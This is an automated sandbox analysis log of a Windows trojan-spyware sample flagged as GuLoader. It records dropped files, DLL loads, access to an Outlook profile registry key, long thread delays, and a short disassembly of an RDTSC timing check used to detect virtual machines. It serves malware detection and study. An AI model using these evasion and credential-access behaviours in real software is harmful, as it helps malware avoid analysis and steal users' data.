Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35F35208	3_2_35F35208
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35F3D408	3_2_35F3D408
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35F3A208	3_2_35F3A208
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_360B36F0	3_2_360B36F0
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_360B1470	3_2_360B1470
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_360B3008	3_2_360B3008
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_360B1B50	3_2_360B1B50
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_360B2238	3_2_360B2238
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_360B0D88	3_2_360B0D88
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_360B4BC7	3_2_360B4BC7
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_360B2920	3_2_360B2920
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_360B36E1	3_2_360B36E1
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_360B1467	3_2_360B1467
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_360B1B3F	3_2_360B1B3F
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_360B2229	3_2_360B2229
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_360B0006	3_2_360B0006
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_360B0040	3_2_360B0040
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_360B2FF8	3_2_360B2FF8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_360B0D78	3_2_360B0D78

Source: C:\Users\user\Desktop\________.exe

Code function: String function: 00402B3A appears 47 times

Source: ________.exe

Static PE information: invalid certificate

Source: ________.exe, 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenametipning husnummers.exe< vs ________.exe
Source: ________.exe, 00000003.00000000.1614671770.0000000000453000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenametipning husnummers.exe< vs ________.exe
Source: ________.exe, 00000003.00000002.3954718526.000000000261F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs ________.exe
Source: ________.exe, 00000003.00000002.3975218220.0000000032977000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs ________.exe
Source: ________.exe	Binary or memory string: OriginalFilenametipning husnummers.exe< vs ________.exe

Source: ________.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/9@7/5

Source: C:\Users\user\Desktop\________.exe

Code function: 1_2_004045CA GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

1_2_004045CA

Source: C:\Users\user\Desktop\________.exe

Code function: 1_2_0040206A CoCreateInstance,

1_2_0040206A

Source: C:\Users\user\Desktop\________.exe

File created: C:\Users\user\AppData\Local\foreslaaende

Jump to behavior

Source: C:\Users\user\Desktop\________.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\________.exe

File created: C:\Users\user\AppData\Local\Temp\nsaD100.tmp

Jump to behavior

Source: ________.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\________.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\________.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ________.exe

Virustotal: Detection: 8%

Source: C:\Users\user\Desktop\________.exe

File read: C:\Users\user\Desktop\________.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\________.exe "C:\Users\user\Desktop\________.exe"
Source: C:\Users\user\Desktop\________.exe	Process created: C:\Users\user\Desktop\________.exe "C:\Users\user\Desktop\________.exe"
Source: C:\Users\user\Desktop\________.exe	Process created: C:\Users\user\Desktop\________.exe "C:\Users\user\Desktop\________.exe"	Jump to behavior

Source: C:\Users\user\Desktop\________.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\________.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\________.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: Process Memory Space: ________.exe PID: 2916, type: MEMORYSTR
Source: Yara match	File source: 00000001.00000002.1623677806.000000000330D000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\________.exe

Code function: 1_2_00406254 GetModuleHandleA,LoadLibraryA,GetProcAddress,

1_2_00406254

Source: C:\Users\user\Desktop\________.exe	Code function: 1_2_10002DA0 push eax; ret	1_2_10002DCE
Source: C:\Users\user\Desktop\________.exe	Code function: 3_3_0019CA98 pushfd ; retf 0019h	3_3_0019CA99
Source: C:\Users\user\Desktop\________.exe	Code function: 3_3_0019EE18 push eax; iretd	3_3_0019EE65
Source: C:\Users\user\Desktop\________.exe	Code function: 3_3_0019EE8C push eax; iretd	3_3_0019EEA9
Source: C:\Users\user\Desktop\________.exe	Code function: 3_3_0019CF4C push eax; iretd	3_3_0019CF4D
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0015735D pushfd ; iretd	3_2_00157362
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4942D push edi; ret	3_2_32D4942E

Source: C:\Users\user\Desktop\________.exe

File created: C:\Users\user\AppData\Local\Temp\nshD4CB.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\________.exe	API/Special instruction interceptor: Address: 38943CF
Source: C:\Users\user\Desktop\________.exe	API/Special instruction interceptor: Address: 1D443CF

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\________.exe	RDTSC instruction interceptor: First address: 382DDF5 second address: 382DDF5 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F40AC74A083h 0x00000006 cmp al, cl 0x00000008 inc ebp 0x00000009 push edi 0x0000000a mov edi, 43D81CFAh 0x0000000f cmp edi, 000000C9h 0x00000015 jl 00007F40AC7B2217h 0x0000001b pop edi 0x0000001c inc ebx 0x0000001d cmp al, cl 0x0000001f rdtsc
Source: C:\Users\user\Desktop\________.exe	RDTSC instruction interceptor: First address: 1CDDDF5 second address: 1CDDDF5 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F40AD0784A3h 0x00000006 cmp al, cl 0x00000008 inc ebp 0x00000009 push edi 0x0000000a mov edi, 43D81CFAh 0x0000000f cmp edi, 000000C9h 0x00000015 jl 00007F40AD0E0637h 0x0000001b pop edi 0x0000001c inc ebx 0x0000001d cmp al, cl 0x0000001f rdtsc

Source: C:\Users\user\Desktop\________.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Memory allocated: 32D60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Memory allocated: 32AE0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 599187	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598968	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598859	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598750	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598640	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598421	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598093	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597874	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597546	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597327	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596765	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596546	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596203	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596093	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595984	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595874	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595765	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595656	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595546	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595210	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 594671	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 594562	Jump to behavior

Source: C:\Users\user\Desktop\________.exe	Window / User API: threadDelayed 8536			Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Window / User API: threadDelayed 1318			Jump to behavior

Source: C:\Users\user\Desktop\________.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nshD4CB.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\________.exe

API coverage: 1.7 %

Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -24903104499507879s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1468	Thread sleep count: 8536 > 30	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1468	Thread sleep count: 1318 > 30	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -599312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -599187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -599078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -598968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -598859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -598750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -598640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -598531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -598421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -598312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -598093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -597984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -597874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -597765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -597656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -597546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -597437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -597327s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -597203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -597093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -596984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -596875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -596765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -596656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -596546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -596437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -596328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -596203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -596093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -595984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -595874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -595765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -595656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -595546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -595437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -595328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -595210s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -595109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -595000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -594890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -594781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -594671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\________.exe TID: 1936	Thread sleep time: -594562s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\________.exe	Code function: 1_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	1_2_00405772
